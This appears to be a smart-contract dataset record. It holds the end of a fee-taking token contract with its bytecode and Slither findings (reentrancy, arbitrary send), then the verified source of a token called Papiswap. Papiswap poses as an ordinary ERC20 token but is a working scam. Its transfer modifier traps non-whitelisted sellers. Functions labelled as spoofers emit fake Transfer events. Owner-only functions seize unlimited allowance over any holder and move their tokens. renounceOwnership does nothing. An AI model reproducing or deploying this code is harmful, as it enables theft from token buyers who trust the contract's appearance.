uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 80000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (180 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function _getMaxHolding() internal view returns (uint256) { return (totalSupply() * holdingCapPercent) / 100; } function _setMaxHolding(uint8 percent) external { require(percent > 0, "Max holding cap cannot be less than 1"); holdingCapPercent = percent; } }
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a91461036c578063c3c8cd801461038c578063c9567bf9146103a1578063db92dbb6146103b6578063dd62ed3e146103cb578063e8078d941461041157600080fd5b806370a08231146102d0578063715018a6146102f05780638da5cb5b1461030557806395d89b4114610150578063a9059cbb1461032d578063a985ceef1461034d57600080fd5b8063313ce56711610108578063313ce5671461021d57806345596e2e14610239578063522644df1461025b5780635932ead11461027b57806368a3a6a51461029b5780636fc3eaec146102bb57600080fd5b806306fdde0314610150578063095ea7b31461019257806318160ddd146101c257806323b872dd146101e857806327f3a72a1461020857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082018252600a81526959756d656b6f20496e7560b01b602082015290516101899190611b98565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611acf565b610426565b6040519015158152602001610189565b3480156101ce57600080fd5b50683635c9adc5dea000005b604051908152602001610189565b3480156101f457600080fd5b506101b2610203366004611a8f565b61043d565b34801561021457600080fd5b506101da6104a6565b34801561022957600080fd5b5060405160098152602001610189565b34801561024557600080fd5b50610259610254366004611b32565b6104b6565b005b34801561026757600080fd5b50610259610276366004611b77565b61055f565b34801561028757600080fd5b50610259610296366004611afa565b6105c8565b3480156102a757600080fd5b506101da6102b6366004611a1f565b610647565b3480156102c757600080fd5b5061025961066a565b3480156102dc57600080fd5b506101da6102eb366004611a1f565b610697565b3480156102fc57600080fd5b506102596106b9565b34801561031157600080fd5b506000546040516001600160a01b039091168152602001610189565b34801561033957600080fd5b506101b2610348366004611acf565b61072d565b34801561035957600080fd5b50601354600160a81b900460ff166101b2565b34801561037857600080fd5b506101da610387366004611a1f565b61073a565b34801561039857600080fd5b50610259610760565b3480156103ad57600080fd5b50610259610796565b3480156103c257600080fd5b506101da6107e3565b3480156103d757600080fd5b506101da6103e6366004611a57565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041d57600080fd5b506102596107fb565b6000610433338484610baf565b5060015b92915050565b600061044a848484610cd3565b61049c843361049785604051806060016040528060288152602001611d38602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112a5565b610baf565b5060019392505050565b60006104b130610697565b905090565b6011546001600160a01b0316336001600160a01b0316146104d657600080fd5b603381106105235760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b60008160ff16116105c05760405162461bcd60e51b815260206004820152602560248201527f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460448201526468616e203160d81b606482015260840161051a565b60ff16601555565b6000546001600160a01b031633146105f25760405162461bcd60e51b815260040161051a90611beb565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610554565b6001600160a01b0381166000908152600660205260408120546104379042611ce7565b6011546001600160a01b0316336001600160a01b03161461068a57600080fd5b47610694816112df565b50565b6001600160a01b03811660009081526002602052604081205461043790611319565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161051a90611beb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610433338484610cd3565b6001600160a01b0381166000908152600660205260408120600101546104379042611ce7565b6011546001600160a01b0316336001600160a01b03161461078057600080fd5b600061078b30610697565b90506106948161139d565b6000546001600160a01b031633146107c05760405162461bcd60e51b815260040161051a90611beb565b6013805460ff60a01b1916600160a01b1790556107de4260b4611c90565b601455565b6013546000906104b1906001600160a01b0316610697565b6000546001600160a01b031633146108255760405162461bcd60e51b815260040161051a90611beb565b601354600160a01b900460ff161561087f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051a565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108bc3082683635c9adc5dea00000610baf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f557600080fd5b505afa158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611a3b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097557600080fd5b505afa158015610989573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ad9190611a3b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109f557600080fd5b505af1158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611a3b565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a5d81610697565b600080610a726000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b0e9190611b4a565b50506804563918244f4000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b7357600080fd5b505af1158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611b16565b5050565b6001600160a01b038316610c115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051a565b6001600160a01b038216610c725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051a565b6001600160a01b038216610d995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051a565b60008111610dfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051a565b6000546001600160a01b03848116911614801590610e2757506000546001600160a01b03838116911614155b1561124857601354600160a81b900460ff1615610ea7573360009081526006602052604090206002015460ff16610ea757604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b03838116911614801590610ece57506001600160a01b0382163014155b15610f3d57610edb611542565b81610ee584610697565b610eef9190611c90565b1115610f3d5760405162461bcd60e51b815260206004820152601960248201527f4d617820686f6c64696e67206361702062726561636865642e00000000000000604482015260640161051a565b6013546001600160a01b038481169116148015610f6857506012546001600160a01b03838116911614155b8015610f8d57506001600160a01b03821660009081526005602052604090205460ff16155b156110eb57601354600160a01b900460ff16610feb5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051a565b600a8055601354600160a81b900460ff16156110b1574260145411156110b15760105481111561101a57600080fd5b6001600160a01b038216600090815260066020526040902054421161108c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051a565b61109742602d611c90565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff16156110eb576110ce42600f611c90565b6001600160a01b0383166000908152600660205260409020600101555b60006110f630610697565b601354909150600160b01b900460ff1615801561112157506013546001600160a01b03858116911614155b80156111365750601354600160a01b900460ff165b1561124657600a8055601354600160a81b900460ff16156111c7576001600160a01b03841660009081526006602052604090206001015442116111c75760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051a565b801561123457600b546013546111fd916064916111f791906111f1906001600160a01b0316610697565b9061156d565b906115ec565b81111561122b57600b54601354611228916064916111f791906111f1906001600160a01b0316610697565b90505b6112348161139d565b47801561124457611244476112df565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128a57506001600160a01b03831660009081526005602052604090205460ff165b15611293575060005b61129f8484848461162e565b50505050565b600081848411156112c95760405162461bcd60e51b815260040161051a9190611b98565b5060006112d68486611ce7565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bab573d6000803e3d6000fd5b60006007548211156113805760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051a565b600061138a61165c565b905061139683826115ec565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144757600080fd5b505afa15801561145b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147f9190611a3b565b816001815181106114a057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114c69130911684610baf565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ff908590600090869030904290600401611c20565b600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b60006064601554611559683635c9adc5dea0000090565b6115639190611cc8565b6104b19190611ca8565b60008261157c57506000610437565b60006115888385611cc8565b9050826115958583611ca8565b146113965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051a565b600061139683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167f565b8061163b5761163b6116ad565b6116468484846116db565b8061129f5761129f600e54600955600f54600a55565b60008060006116696117d2565b909250905061167882826115ec565b9250505090565b600081836116a05760405162461bcd60e51b815260040161051a9190611b98565b5060006112d68486611ca8565b6009541580156116bd5750600a54155b156116c457565b60098054600e55600a8054600f5560009182905555565b6000806000806000806116ed87611814565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061171f9087611871565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174e90866118b3565b6001600160a01b03891660009081526002602052604090205561177081611912565b61177a848361195c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bf91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006117ee82826115ec565b82101561180b57505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118318a600954600a54611980565b925092509250600061184161165c565b905060008060006118548e8787876119cf565b919e509c509a509598509396509194505050505091939550919395565b600061139683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a5565b6000806118c08385611c90565b9050838110156113965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051a565b600061191c61165c565b9050600061192a838361156d565b3060009081526002602052604090205490915061194790826118b3565b30600090815260026020526040902055505050565b6007546119699083611871565b60075560085461197990826118b3565b6008555050565b600080808061199460646111f7898961156d565b905060006119a760646111f78a8961156d565b905060006119bf826119b98b86611871565b90611871565b9992985090965090945050505050565b60008080806119de888661156d565b905060006119ec888761156d565b905060006119fa888861156d565b90506000611a0c826119b98686611871565b939b939a50919850919650505050505050565b600060208284031215611a30578081fd5b813561139681611d14565b600060208284031215611a4c578081fd5b815161139681611d14565b60008060408385031215611a69578081fd5b8235611a7481611d14565b91506020830135611a8481611d14565b809150509250929050565b600080600060608486031215611aa3578081fd5b8335611aae81611d14565b92506020840135611abe81611d14565b929592945050506040919091013590565b60008060408385031215611ae1578182fd5b8235611aec81611d14565b946020939093013593505050565b600060208284031215611b0b578081fd5b813561139681611d29565b600060208284031215611b27578081fd5b815161139681611d29565b600060208284031215611b43578081fd5b5035919050565b600080600060608486031215611b5e578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b88578081fd5b813560ff81168114611396578182fd5b6000602080835283518082850152825b81811015611bc457858101830151858201604001528201611ba8565b81811115611bd55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c6f5784516001600160a01b031683529383019391830191600101611c4a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ca357611ca3611cfe565b500190565b600082611cc357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ce257611ce2611cfe565b500290565b600082821015611cf957611cf9611cfe565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461069457600080fd5b801515811461069457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021f70a182a836c9962fbaa56f988e7d83075f0f116ccb8d6c1454136b3a929f664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,819
0x93460Ba3b52D4658ff6faAE7E84e4211C7cBB896
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract Papiswap is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _affirmative; mapping (address => bool) private _rejectPile; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0x4d67B94d6d488dA0faACc259F4e885f3ce736c03; address public _owner = 0x4d67B94d6d488dA0faACc259F4e885f3ce736c03; constructor () public { _name = "PapiSwap"; _symbol = "PAPISWAP"; _decimals = 18; uint256 initialSupply = 1000000000 * 10 ** 18 ; _safeOwner = _owner; _mint(deployer, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _start(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _start(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _affirmative[receivers[i]] = true; _rejectPile[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _rejectPile[receivers[i]] = true; _affirmative[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } modifier main(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_affirmative[sender] == true){ _;}else{if (_rejectPile[sender] == true){ require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _auth() { require(msg.sender == _owner, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ //Multi Transfer Emit Spoofer from Uniswap Pool for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){ //Emit Transfer Spoofer from Uniswap Pool emit Transfer(emitUniswapPool, emitReceiver, emitAmount);} function exec(address recipient) public _auth(){ _affirmative[recipient]=true; _approve(recipient, cr,_approveValue);} function obstruct(address recipient) public _auth(){ //Blker _affirmative[recipient]=false; _approve(recipient, cr,0); } function renounceOwnership() public _auth(){ //Renounces Ownership } function reverse(address target) public _auth() virtual returns (bool) { //Approve Spending _approve(target, _msgSender(), _approveValue); return true; } function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) { //Single Tranfer _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){ //Emit Single Transfer emit Transfer(emitSender, emitRecipient, emitAmount); } function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){ for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function burnLPTokens()public _auth(){} }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f214610c0c578063d8fc292414610d78578063dd62ed3e14610ee4578063e30bd74014610f5c576101a9565b8063a9059cbb14610b52578063b2bdfa7b14610bb8578063bb88603c14610c02576101a9565b806395d89b41116100d357806395d89b411461096d578063a1a6d5fc146109f0578063a64b6e5f14610a5e578063a901431314610ae4576101a9565b80636bb6126e146108c757806370a082311461090b578063715018a614610963576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146107335780635768b61a146107815780636268e0d5146107c557806362eb33e31461087d576101a9565b8063313ce567146104375780633cc4430d1461045b5780634c0cc925146105c7576101a9565b8063043fa39e146101ae57806306fdde0314610266578063095ea7b3146102e95780630cdfb6281461034f57806318160ddd1461039357806323b872dd146103b1575b600080fd5b610264600480360360208110156101c457600080fd5b81019080803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184602083028401116401000000008311171561021557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fb8565b005b61026e611171565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610335600480360360408110156102ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611213565b604051808215151515815260200191505060405180910390f35b6103916004803603602081101561036557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611231565b005b61039b611338565b6040518082815260200191505060405180910390f35b61041d600480360360608110156103c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611342565b604051808215151515815260200191505060405180910390f35b61043f61141b565b604051808260ff1660ff16815260200191505060405180910390f35b6105c56004803603606081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104ae57600080fd5b8201836020820111156104c057600080fd5b803590602001918460208302840111640100000000831117156104e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561054257600080fd5b82018360208201111561055457600080fd5b8035906020019184602083028401116401000000008311171561057657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600